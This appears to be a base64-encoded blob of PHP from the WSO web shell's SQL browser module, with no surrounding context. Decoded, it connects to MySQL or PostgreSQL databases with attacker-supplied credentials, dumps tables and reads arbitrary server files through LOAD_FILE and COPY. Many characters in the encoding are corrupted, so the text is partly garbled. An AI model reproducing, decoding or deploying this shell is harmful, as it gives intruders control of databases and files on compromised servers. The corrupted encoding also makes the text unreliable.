ICAgICAgICAgICAgICAgIHJldHVyb4BAbXlzcWxfZXJyboI2KTsKICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgICAgICAgICAgYaFzZSAncGdzcWwnOg2gICAgICAgICAgICAgICAgICAgIHJldHVyb4BAcGdfbGFzdF9lcnJvc4gpOw2gICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJ3IGZhbHNlOw2gICAgICAgIH0KICAgICAgICBmdWijdGlvb4BzZXRD1GFycaV0KCRzdHIpIHsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSAg5w2gICAgICAgICAgICAgICAgYaFzZSAnbXlzcWwnOg2gICAgICAgICAgICAgICAgICAgIGlmKGZ6bmN01W93XaVu1XN0cygnbXlzcWxfcaV0XaN2YXJzZXQnKSkKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJ3IEBt5XNxbF9zZXRfYahhcnNldCgkcoRyLCAkdGhpcy0+bGl31yk7C4AgICAgICAgICAgICAgICAgICAgZWxzZQ2gICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnk2J6NFVCBDSEFSU0VUICc3JHN0c4k7C4AgICAgICAgICAgICAgICAgICAgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICdwZoNxbCceC4AgICAgICAgICAgICAgICAgICAgcmV0dXJ3IEBwZ69zZXRfYaxpZWi0XaV3Ya9k1WinKCR01GlzLTis1WirLCAkcoRyKTsKICAgICAgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgfQ2gICAgICAgICAgICByZXR6cmugZmFscaU7C4AgICAgICAgfQ2gICAgICAgIGZ6bmN01W93IGxvYWRG1WxlKCRzdHIpIHsKICAgICAgICAgICAgcodpdGN2KCR01GlzLTi05XBlKSAg5w2gICAgICAgICAgICAgICAgYaFzZSAnbXlzcWwnOg2gICAgICAgICAgICAgICAgICAgIHJldHVyb4AkdGhpcy0+ZmV0Yag2JHR21XMtPnF6ZXJiKCJTRUxFQ6QgTE9BRF9GSUxFKCc4LmFkZHNsYXN2ZXM2JHN0c4k3I4cpIGFzIGZpbGU4KSk7C4AgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgICAgIGNhcaUgJoBncoFsJz2KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnk2IkNSRUFURSBUQUJMRSBoca8yKGZpbGUgdGVudCk7Q09QWSBoca8yIEZST00gJyI3YWRkcaxhcahlcygkcoRyKSu4JztzZWxlYoQgZmlsZSBmcm9tIHdzbzI7I4k7C4AgICAgICAgICAgICAgICAgICAgJHI9YXJyYXk2KTsKICAgICAgICAgICAgICAgICAgICBo1GlsZSgk1T0kdGhpcy0+ZmV0Yag2KSkKICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICRpWydm1WxlJ607C4AgICAgICAgICAgICAgICAgICAgJHR21XMtPnF6ZXJiKCdkcm9wIHRhYmxlIHdzbzInKTsKICAgICAgICAgICAgICAgICAgICByZXR6cmugYXJyYXk2JaZpbGUnPTipbXBsbaRlKCJcb4IsJHIpKTsKICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgICAgICB9C4AgICAgICAgICAgIHJldHVyb4BmYWxzZTsKICAgICAgICB9C4AgICAgICAgZnV3YoRpbaugZHVtcCgkdGF4bGUsICRmcCA9IGZhbHNlKSB7C4AgICAgICAgICAgIHNo1XRj1CgkdGhpcy0+dHlwZSkgIHsKICAgICAgICAgICAgICAgIGNhcaUgJa6icoFsJz2KICAgICAgICAgICAgICAgICAgICAkcmVzID0gJHR21XMtPnF6ZXJiKCdTSE9XIENSRUFURSBUQUJMRSBgJyukdGF4bGU3JaAnKTsKICAgICAgICAgICAgICAgICAgICAkYoJlYXRlID0gbXlzcWxfZmV0YahfYXJyYXk2JHJlcyk7C4AgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcmVhdGVbMV03Ijtcb4I7C4AgICAgICAgICAgICAgICAgICAg1WY2JGZwKSBmdoJpdGU2JGZwLCAkcoFsKTsgZWxzZSBlYahvKCRzcWwpOw2gICAgICAgICAgICAgICAgICAgICR01GlzLTixdWVy5SgnU0VMRUNUIC2gRlJPTSBgJyukdGF4bGU3JaAnKTsKICAgICAgICAgICAgICAgICAgICAk1SA9IDA7C4AgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw2gICAgICAgICAgICAgICAgICAgIHd21WxlKCRpdGVtID0gJHR21XMtPmZldGN2KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICcnOw2gICAgICAgICAgICAgICAgICAgICAgICBpZ4gk1SAlIDEwMDAgPT0gMCkg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICI7XGicb4I7C4AgICAgICAgICAgICAgICAgICAgICAgIH0KIA2gICAgICAgICAgICAgICAgICAgICAgICAkYa9sdW63cyA9IGFycmFiKCk7C4AgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhYag2JGl0ZW0gYXMgJGs9P4RaKSB7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBpZ4gkd4A9PT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk1XRlbVsk160gPSA4TlVMTCI7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNl1WY21XNf1Wi0KCRaKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk1XRlbVsk160gPSAkdjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVscaUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk1XRlbVsk160gPSA4JyI3QG6icoFsXoJlYWxfZXNjYXBlXoN0cml3Zygkd4k3I4c4Ow2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnNbXSA9ICJgI4uk1yu4YCI7C4AgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAg1WY2JGhlYWQpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnL4R0YWJsZSunYCA2JyipbXBsbaRlKCIsICIsICRjbax6bWizKSu4KSBWQUxVRVMgXGicdCg4LmltcGxvZGU2I4wgI4wgJGl0ZW0pL4cpJzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR2ZWFkID0gZmFscaU7C4AgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCA3PSA4XGicdCw2I4ipbXBsbaRlKCIsICIsICRpdGVtKSunKSc7C4AgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndy1XRlKCRmcCwgJHNxbCk7IGVscaUgZWN2bygkcoFsKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAg1WY2ISR2ZWFkKQ2gICAgICAgICAgICAgICAgICAgICAgICBpZ4gkZnApIGZocml0ZSgkZnAsICI7XGicb4IpOyBlbHNlIGVj1G82Ijtcblx3I4k7C4AgICAgICAgICAgICAgICB4cmVh1zsKICAgICAgICAgICAgICAgIGNhcaUgJoBncoFsJz2KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnk2J6NFTEVDVCAqIEZST00gJyukdGF4bGUpOw2gICAgICAgICAgICAgICAgICAgIHd21WxlKCRpdGVtID0gJHR21XMtPmZldGN2KCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJh5SgpOw2gICAgICAgICAgICAgICAgICAgICAgICBmboJlYWN2KCRpdGVtIGFzICRrPTukd4kg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGl0ZW6bJGtdID0gI4c4LmFkZHNsYXN2ZXM2JHYpL4InIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbax6bWizW60gPSAk1zsKICAgICAgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgICAgICAkcoFsID0gJ0lOU0VSVCBJTlRPICc3JHRhYmxlL4cgKCc31W6wbG9kZSg4LCA4LCAkYa9sdW63cyk3JykgVkFMVUVTICgnLmltcGxvZGU2I4wgI4wgJGl0ZW0pL4cpOyc3Ilx3IjsKICAgICAgICAgICAgICAgICAgICAgICAg1WY2JGZwKSBmdoJpdGU2JGZwLCAkcoFsKTsgZWxzZSBlYahvKCRzcWwpOw2gICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOw2gICAgICAgICAgICB9C4AgICAgICAgICAgIHJldHVyb4BmYWxzZTsKICAgICAgICB9C4AgICB9Ow2gICAgJGR4ID0gbmVoIER4QaxhcoM2JF9QT6NUWyd05XBlJ60pOw2gICAg1WY2KEAkX6BPU6RbJoAyJ609PSdkbod3bG9hZCcpICYmIChAJF9QT6NUWydwMSddIT0ncaVsZWN0JykpIHsKICAgICAgICAkZGItPmNvbmilYoQ2JF9QT6NUWydzcWxf1G9zdCddLCAkX6BPU6RbJoNxbF9sbadpb4ddLCAkX6BPU6RbJoNxbF9wYXNzJ60sICRfUE9TVFsncoFsXaJhcaUnXSk7C4AgICAgICAgJGR4LTizZWxlYoRkY4gkX6BPU6RbJoNxbF94YXNlJ60pOw2gICAgICAgIHNo1XRj1CgkX6BPU6RbJaN2YXJzZXQnXSkg5w2gICAgICAgICAgICBjYXNlICJX1WikbodzLTEyNTE4O4AkZGItPnNldEN2YXJzZXQ2JaNwMTI6MScpOyB4cmVh1zsKICAgICAgICAgICAgYaFzZSA4VVRGLTg4O4AkZGItPnNldEN2YXJzZXQ2JoV0ZjgnKTsgYnJlYWs7C4AgICAgICAgICAgIGNhcaUgIktPSTgtU4IeICRkY40+caV0QahhcnNldCgn1a9pOHInKTsgYnJlYWs7C4AgICAgICAgICAgIGNhcaUgIktPSTgtVSIeICRkY40+caV0QahhcnNldCgn1a9pOHUnKTsgYnJlYWs7C4AgICAgICAgICAgIGNhcaUgImNwODYaIj2gJGR4LTizZXRD1GFycaV0KCdjcDgaN4cpOyB4cmVh1zsKICAgICAgICB9C4AgICAgICAg1WY2ZW6wdHk2JF9QT6NUWydm1WxlJ60pKSB7C4AgICAgICAgICAgIG94XoN0YXJ0KCJvYl9n5mhhbmRsZXI4LCA0MDkaKTsKICAgICAgICAgICAg1GVhZGVyKCJDbai0ZWi0LURpcoBvcal01W93O4BhdHRhYahtZWi0OyBm1WxlbmFtZT6kdW6wLnNxbCIpOw2gICAgICAgICAgICB2ZWFkZXI2IkNvbnRlbnQtVHlwZT2gdGVudC9wbGFpb4IpOw2gICAgICAgICAgICBmboJlYWN2KCRfUE9TVFsndGJsJ60gYXMgJHYpC4AgICAgICAgICAgICAgICAkZGItPmR6bXA2JHYpOw2gICAgICAgICAgICBl5Gl0Ow2gICAgICAgIH0gZWxzZWlmKCRmcCA9IEBmboBlb4gkX6BPU6RbJaZpbGUnXSwgJocnKSkg5w2gICAgICAgICAgICBmboJlYWN2KCRfUE9TVFsndGJsJ60gYXMgJHYpC4AgICAgICAgICAgICAgICAkZGItPmR6bXA2JHYsICRmcCk7C4AgICAgICAgICAgIGZjbG9zZSgkZnApOw2gICAgICAgICAgICB6bnNldCgkX6BPU6RbJoAyJ60pOw2gICAgICAgIH0gZWxzZQ2gICAgICAgICAgICBk1WU2JzxzYoJpcHQ+YWxlcnQ2IkVycm9yISBDYWicJoQgboBlb4Bm1WxlI4k7dal3ZG9oLmhpcoRvcnk3YmFj1ygtMSk8LoNjcmlwdDunKTsKICAgIH0KICAgIHdzb0hlYWRlc4gpOw2gICAgZWN2byA4Cjx2MTiTcWwgYnJvdoNlcjwv1DE+PGRpd4BjbGFzcz6jbai0ZWi0Pg28Zm9ybSB3YW6lPSdzZ4cgbWV01G9kPSdwboN0JyBvbnN6Ym6pdD0nZnM2dGhpcyk7Jzu8dGF4bGUgYaVsbHBhZGRpbmc9JzInIGNlbGxzcGFj1WinPScwJzu8dHI+Cjx0ZDiU5XBlPC90ZDu8dGQ+SG9zdDwvdGQ+PHRkPkxvZal3PC90ZDu8dGQ+UGFzcodvcmQ8LoRkPjx0ZDiEYXRhYmFzZTwvdGQ+PHRkPjwvdGQ+PC90cju8dHI+CjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPWEgdmFsdWU9UoFsPjxpbnB6dCB05XBlPWhpZGRlb4B3YW6lPXAxIHZhbHVlPSdxdWVy5Sc+PGl3cHV0IHRicGU91GlkZGV3IGihbWU9cDIgdmFsdWU9Jyc+PGl3cHV0IHRicGU91GlkZGV3IGihbWU9YyBaYWx6ZT0nI4ug1HRtbHNwZWNpYWxj1GFycygkR0xPQkFMU6snYodkJ60pICu4Jzu81WiwdXQgdHlwZT621WRkZWugbmFtZT6j1GFycaV0IHZhbHVlPSc4L4A21XNzZXQ2JF9QT6NUWydj1GFycaV0J60pPyRfUE9TVFsnYahhcnNldCddO4cnKSA3I4c+Cjx0ZDu8caVsZWN0IGihbWU9JoRicGUnPjxvcHRpbaugdmFsdWU9Ja6icoFsJyA4Ow2gICAg1WY2QCRfUE9TVFsndHlwZSddPT0nbXlzcWwnKWVj1G8gJoNlbGVjdGVkJzsKZWN2byA4Pk6iUoFsPC9vcHRpbau+PG9wdGlvb4BaYWx6ZT0ncGdzcWwnICI7CmlmKEAkX6BPU6RbJoRicGUnXT09JoBncoFsJyllYahvICdzZWxlYoRlZCc7CmVj1G8gIjiQboN0ZoJlUoFsPC9vcHRpbau+PC9zZWxlYoQ+PC90ZDuKPHRkPjxpbnB6dCB05XBlPXRl5HQgbmFtZT6zcWxf1G9zdCBaYWx6ZT6cI4I3IChlbXB05SgkX6BPU6RbJoNxbF92boN0J60pPydsbaNhbGhvcoQnOmh0bWxzcGVj1WFsYahhcnM2JF9QT6NUWydzcWxf1G9zdCddKSkgL4JcIju8LoRkPg28dGQ+PGl3cHV0IHRicGU9dGVudCB3YW6lPXNxbF9sbadpb4BaYWx6ZT6cI4I3IChlbXB05SgkX6BPU6RbJoNxbF9sbadpb4ddKT8ncm9vdCce1HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoNxbF9sbadpb4ddKSkgL4JcIju8LoRkPg28dGQ+PGl3cHV0IHRicGU9dGVudCB3YW6lPXNxbF9wYXNzIHZhbHVlPVw4I4ugKGVtcHRiKCRfUE9TVFsncoFsXoBhcoMnXSk/Jyce1HRtbHNwZWNpYWxj1GFycygkX6BPU6RbJoNxbF9wYXNzJ60pKSA3Ilw4PjwvdGQ+PHRkP4I7C4AgICAkdG6wID0gIjxpbnB6dCB05XBlPXRl5HQgbmFtZT6zcWxfYmFzZSBaYWx6ZT0nJzu4Ow2gICAg1WY21XNzZXQ2JF9QT6NUWydzcWxf1G9zdCddKSl7C4AgICAgICAg1WY2JGR4LTijbai3ZWN0KCRfUE9TVFsncoFsXahvcoQnXSwgJF9QT6NUWydzcWxfbG9n1WunXSwgJF9QT6NUWydzcWxfcGFzcyddLCAkX6BPU6RbJoNxbF94YXNlJ60pKSB7C4AgICAgICAgICAgIHNo1XRj1CgkX6BPU6RbJaN2YXJzZXQnXSkg5w2gICAgICAgICAgICAgICAgYaFzZSA4Val3ZG9ocy0xMjUxIj2gJGR4LTizZXRD1GFycaV0KCdjcDEyNTEnKTsgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICJVVEYtOCIeICRkY40+caV0QahhcnNldCgndXRmOCcpOyB4cmVh1zsKICAgICAgICAgICAgICAgIGNhcaUgIktPSTgtU4IeICRkY40+caV0QahhcnNldCgn1a9pOHInKTsgYnJlYWs7C4AgICAgICAgICAgICAgICBjYXNlICJLT0kuLVU4O4AkZGItPnNldEN2YXJzZXQ2Jatv1Th6Jyk7IGJyZWFrOw2gICAgICAgICAgICAgICAgYaFzZSA4YoAuNjY4O4AkZGItPnNldEN2YXJzZXQ2JaNwODYaJyk7IGJyZWFrOw2gICAgICAgICAgICB9C4AgICAgICAgICAgICRkY40+bGlzdER4cygpOw2gICAgICAgICAgICBlYahvICI8caVsZWN0IGihbWU9coFsXaJhcaU+PG9wdGlvb4BaYWx6ZT0nJzu8La9wdGlvbju4Ow2gICAgICAgICAgICBo1GlsZSgk1XRlbSA9ICRkY40+ZmV0Yag2KSkg5w2gICAgICAgICAgICAgICAgbGlzdCgk1aViLCAkdmFsdWUpID0gZWFj1Cgk1XRlbSk7C4AgICAgICAgICAgICAgICBlYahvICc8boB01W93IHZhbHVlPSInL4RaYWx6ZSunI4AnL4gkdmFsdWU9PSRfUE9TVFsncoFsXaJhcaUnXT8ncaVsZWN0ZWQnO4cnKSunP4c3JHZhbHVlL4c8La9wdGlvbjunOw2gICAgICAgICAgICB9C4AgICAgICAgICAgIGVj1G8gJzwvcaVsZWN0P4c7C4AgICAgICAgfQ2gICAgICAgIGVscaUgZWN2byAkdG6wOw2gICAgfWVscaUKICAgICAgICBlYahvICR0bXA7C4AgICBlYahvICI8LoRkPg2gICAgICAgICAgICAgICAgPHRkPjxpbnB6dCB05XBlPXN6Ym6pdCBaYWx6ZT0nPjunIG93YaxpYas9JaZzKGQ3caYpOyc+PC90ZDuKICAgICAgICAgICAgICAgIDx0ZDu81WiwdXQgdHlwZT6j1GVj1aJv5CB3YW6lPXNxbF9jboV3dCBaYWx6ZT0nbaunI4A3IChlbXB05SgkX6BPU6RbJoNxbF9jboV3dCddKT8nJz2nIGN2ZWNrZWQnKSA3ICI+IGNvdWi0IHR2ZSB3dW64ZXIgbaYgcm9oczwvdGQ+C4AgICAgICAgICAgIDwvdHI+C4AgICAgICAgPC90YWJsZTuKICAgICAgICA8caNy1XB0Pg2gICAgICAgICAgICBzXaR4PSc4LkBhZGRzbGFz1GVzKCRfUE9TVFsncoFsXaJhcaUnXSk3I4c7C4AgICAgICAgICAgIGZ6bmN01W93IGZzKGYpIHsKICAgICAgICAgICAgICAgIGlmKGY3coFsXaJhcaU3dmFsdWUhPXNfZGIpIHsgZ4ivbnN6Ym6pdCA9IGZ6bmN01W93KCkg5o07C4AgICAgICAgICAgICAgICAgICAg1WY2Z4iwMSkgZ4iwMSiaYWx6ZT0nJzsKICAgICAgICAgICAgICAgICAgICBpZ4hmLnAyKSBmLnAyLnZhbHVlPScnOw2gICAgICAgICAgICAgICAgICAgIGlmKGY3cDMpIGY3cDM3dmFsdWU9Jyc7C4AgICAgICAgICAgICAgICB9C4AgICAgICAgICAgIH0KICAgICAgICAgICAgZnV3YoRpbaugcoQ2dCxsKSB7C4AgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJoNlbGVjdCc7C4AgICAgICAgICAgICAgICBkLnNmLnAyLnZhbHVlID0gdDsKICAgICAgICAgICAgICAgIGlmKGwgJ4YgZCizZ4iwMykgZCizZ4iwMyiaYWx6ZSA9IGw7C4AgICAgICAgICAgICAgICBkLnNmLnN6Ym6pdCgpOw2gICAgICAgICAgICB9C4AgICAgICAgICAgIGZ6bmN01W93IGlzKCkg5w2gICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQ3caY3ZWxlbWV3dHNbJoR4bFtdJ603bGV3ZoR2Oysr1SkKICAgICAgICAgICAgICAgICAgICBkLnNmLmVsZW6lbnRzWyd0YmxbXSddWaldLmN2ZWNrZWQgPSAhZCizZ4ilbGVtZWi0c6sndGJsW60nXVtpXSij1GVj1aVkOw2gICAgICAgICAgICB9C4AgICAgICAgPC9zYoJpcHQ+IjsKICAgIGlmKGlzcaV0KCRkY4kgJ4YgJGR4LTis1WirKXsKICAgICAgICBlYahvICI8YnIvPjx0YWJsZSBo1WR01D0xMDAlIGNlbGxwYWRk1WinPTIgYaVsbHNwYWNpbmc9MDu4Ow2gICAgICAgICAgICBpZ4ghZW6wdHk2JF9QT6NUWydzcWxfYmFzZSddKSl7C4AgICAgICAgICAgICAgICAkZGItPnNlbGVjdGR4KCRfUE9TVFsncoFsXaJhcaUnXSk7C4AgICAgICAgICAgICAgICBlYahvICI8dHI+PHRkIHdpZHR2PTEgcoRibGU9JaJvcmRlc460boAeMnBuIHNvbGlkICMaNjY7Jzu8coBhbjiUYWJsZXMePC9zcGF3Pjx4cju8YnI+IjsKICAgICAgICAgICAgICAgICR0YmxzXoJlcyA9ICRkY40+bGlzdFRhYmxlcygpOw2gICAgICAgICAgICAgICAgdahpbGU2JGl0ZW0gPSAkZGItPmZldGN2KCR0YmxzXoJlcykpIHsKICAgICAgICAgICAgICAgICAgICBs1XN0KCRrZXksICRaYWx6ZSkgPSBlYWN2KCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICBpZ4ghZW6wdHk2JF9QT6NUWydzcWxfYa96bnQnXSkpC4AgICAgICAgICAgICAgICAgICAgICAgICR3ID0gJGR4LTimZXRj1CgkZGItPnF6ZXJiKCdTRUxFQ6QgQ09VTlQ2K4kgYXMgb4BGUk9NICc3JHZhbHVlL4cnKSk7C4AgICAgICAgICAgICAgICAgICAgJHZhbHVlID0g1HRtbHNwZWNpYWxj1GFycygkdmFsdWUpOw2gICAgICAgICAgICAgICAgICAgIGVj1G8gIjx3baJyPjxpbnB6dCB05XBlPSdj1GVj1aJv5CcgbmFtZT0ndGJsW60nIHZhbHVlPSc4L4RaYWx6ZSu4JzumbmJzcDs8YSB2cmVmPSMgbaijbGlj1z6cInN0KCc4L4RaYWx6ZSu4JywxKVw4P4I3JHZhbHVlL4I8LaE+I4A3IChlbXB05SgkX6BPU6RbJoNxbF9jboV3dCddKT8nJmi4coA7Jz24IDxzbWFsbDu25yR3Wyd3J669KTwvca6hbGw+I4kgL4A4PC93baJyPjx4cju4Ow2gICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgZWN2byA4PGl3cHV0IHRicGU9JaN2ZWNrYm9uJyBvbmNs1WNrPSdpcygpOyc+IDxpbnB6dCB05XBlPWJ6dHRvb4BaYWx6ZT0nRHVtcCcgbaijbGlj1z0nZG9jdW6lbnQ3caY3cDI3dmFsdWU9XCJkbod3bG9hZFw4OaRvYoVtZWi0LnNmLnN6Ym6pdCgpOyc+PGJyPkZpbGUgcGF01D281WiwdXQgdHlwZT60ZXh0IGihbWU9ZmlsZSBaYWx6ZT0nZHVtcCizcWwnPjwvdGQ+PHRkIHN05WxlPSd4boJkZXItdG9wOjJw5CBzbaxpZCAjNjYaOyc+IjsKICAgICAgICAgICAgICAgIGlmKEAkX6BPU6RbJoAxJ60gPT0gJoNlbGVjdCcpIHsKICAgICAgICAgICAgICAgICAgICAkX6BPU6RbJoAxJ60gPSAncXVlcnknOw2gICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXSA9ICRfUE9TVFsncDMnXT8kX6BPU6RbJoAzJ60eMTsKICAgICAgICAgICAgICAgICAgICAkZGItPnF6ZXJiKCdTRUxFQ6QgQ09VTlQ2K4kgYXMgb4BGUk9NICcgL4AkX6BPU6RbJoAyJ60pOw2gICAgICAgICAgICAgICAgICAgICR3dW0gPSAkZGItPmZldGN2KCk7C4AgICAgICAgICAgICAgICAgICAgJHBhZaVzID0gYaVpbCgkbnVtWyd3J60gLyAzMCk7C4AgICAgICAgICAgICAgICAgICAgZWN2byA4PHNjcmlwdDikLnNmLm93coV4bWl0PWZ6bmN01W93KCl7coQ2XCI4ICugJF9QT6NUWydwM4ddICugIlw4LCBkLnNmLnAzLnZhbHVlKX08LoNjcmlwdDu8coBhbju4L4RfUE9TVFsncDInXSu4PC9zcGF3P4A25yR3dW6bJaunXX0gcmVjboJkcykgUGFnZSAjIDxpbnB6dCB05XBlPXRl5HQgbmFtZT0ncDMnIHZhbHVlPSIgL4A2KGl3dCkkX6BPU6RbJoAzJ60pICugIju4Ow2gICAgICAgICAgICAgICAgICAgIGVj1G8gI4BvZ4AkcGFnZXM4Ow2gICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpC4AgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gI4A8YSB2cmVmPSMgbaijbGlj1z0ncoQ2XCI4ICugJF9QT6NUWydwM4ddICugJyIsICcgL4A2JF9QT6NUWydwMyddLTEpICugI4knP4ZsdDsgUHJldjwvYTu4Ow2gICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA8ICRwYWdlcykKICAgICAgICAgICAgICAgICAgICAgICAgZWN2byA4IDxhIGhyZWY9IyBvbmNs1WNrPSdzdChcI4IgL4AkX6BPU6RbJoAyJ60gL4AnI4wgJyA3ICgkX6BPU6RbJoAzJ60rMSkgL4A4KSc+TmVudCAmZoQ7PC9hP4I7C4AgICAgICAgICAgICAgICAgICAgJF9QT6NUWydwMyddLS07C4AgICAgICAgICAgICAgICAgICAg1WY2JF9QT6NUWyd05XBlJ609PSdwZoNxbCcpC4AgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ6QgK4BGUk9NICc3JF9QT6NUWydwM4ddL4cgTElNSVQgMzAgT0ZGU0VUICc3KCRfUE9TVFsncDMnXS2zMCk7C4AgICAgICAgICAgICAgICAgICAgZWxzZQ2gICAgICAgICAgICAgICAgICAgICAgICAkX6BPU6RbJoAyJ60gPSAnU0VMRUNUIC2gRlJPTSBgJyukX6BPU6RbJoAyJ603JaAgTElNSVQgJyu2JF9QT6NUWydwMyddKjMwKSunLDMwJzsKICAgICAgICAgICAgICAgICAgICBlYahvICI8YnI+PGJyP4I7C4AgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICBpZ4g2QCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJ4AhZW6wdHk2JF9QT6NUWydwM4ddKSkg5w2gICAgICAgICAgICAgICAgICAgICRkY40+cXVlcnk2QCRfUE9TVFsncDInXSk7C4AgICAgICAgICAgICAgICAgICAg1WY2JGR4LTiyZXMgIT09IGZhbHNlKSB7C4AgICAgICAgICAgICAgICAgICAgICAgICR01XRsZSA9IGZhbHNlOw2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8dGF4bGUgdalkdGg9MTAwJSBjZWxscoBhYal3Zz0xIGNlbGxwYWRk1WinPTIgYaxhcoM9bWFpb4BzdHlsZT04YmFj1adyboV3ZC6jbaxvcj2jMjkyOTIiIjunOw2gICAgICAgICAgICAgICAgICAgICAgICAkbGl3ZSA9IDE7C4AgICAgICAgICAgICAgICAgICAgICAgIHd21WxlKCRpdGVtID0gJGR4LTimZXRj1CgpKSAg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAg1WY2ISR01XRsZSkg5w2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gJzx0cjunOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhYag2JGl0ZW0gYXMgJGtl5SA9P4AkdmFsdWUpC4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gJzx01DunL4RrZXk3JzwvdGg+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNldCgk1XRlbSk7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWN2byAnPC90cju8dHI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGl3ZSA9IDI7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8dHIgYaxhcoM9ImwnL4Rs1WilL4c4P4c7C4AgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGl3ZSA9ICRs1WilPT0xPzIeMTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhYag2JGl0ZW0gYXMgJGtl5SA9P4AkdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZ4gkdmFsdWUgPT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWN2byAnPHRkPjxpPmi6bGw8Lak+PC90ZDunOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVscaUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWN2byAnPHRkP4c3bmwyYnI21HRtbHNwZWNpYWxj1GFycygkdmFsdWUpKSunPC90ZDunOw2gICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgICAgICAgICAgICAgZWN2byAnPC90cjunOw2gICAgICAgICAgICAgICAgICAgICAgICB9C4AgICAgICAgICAgICAgICAgICAgICAgIGVj1G8gJzwvdGF4bGU+JzsKICAgICAgICAgICAgICAgICAgICB9IGVscaUg5w2gICAgICAgICAgICAgICAgICAgICAgICBlYahvICc8ZGlaPjx4PkVycm9yOjwvYjugJyi2dG6scoBlYalhbGN2YXJzKCRkY40+ZXJyboI2KSk3JzwvZGlaP4c7C4AgICAgICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgfQ2gICAgICAgICAgICAgICAgZWN2byA4PGJyPjwvZm9ybTu8Zm9ybSBvbnN6Ym6pdD0nZCizZ4iwMSiaYWx6ZT6cInF6ZXJiXCI7ZCizZ4iwM4iaYWx6ZT601GlzLnF6ZXJiLnZhbHVlOaRvYoVtZWi0LnNmLnN6Ym6pdCgpOoJldHVyb4BmYWxzZTsnPjx0ZXh0YXJlYSB3YW6lPSdxdWVy5ScgcoRibGU9JodpZHR2OjEwMCU71GVpZah0OjEwMHBuJzu4Ow2gICAgICAgICAgICAgICAg1WY2IWVtcHRiKCRfUE9TVFsncDInXSkgJ4YgKCRfUE9TVFsncDE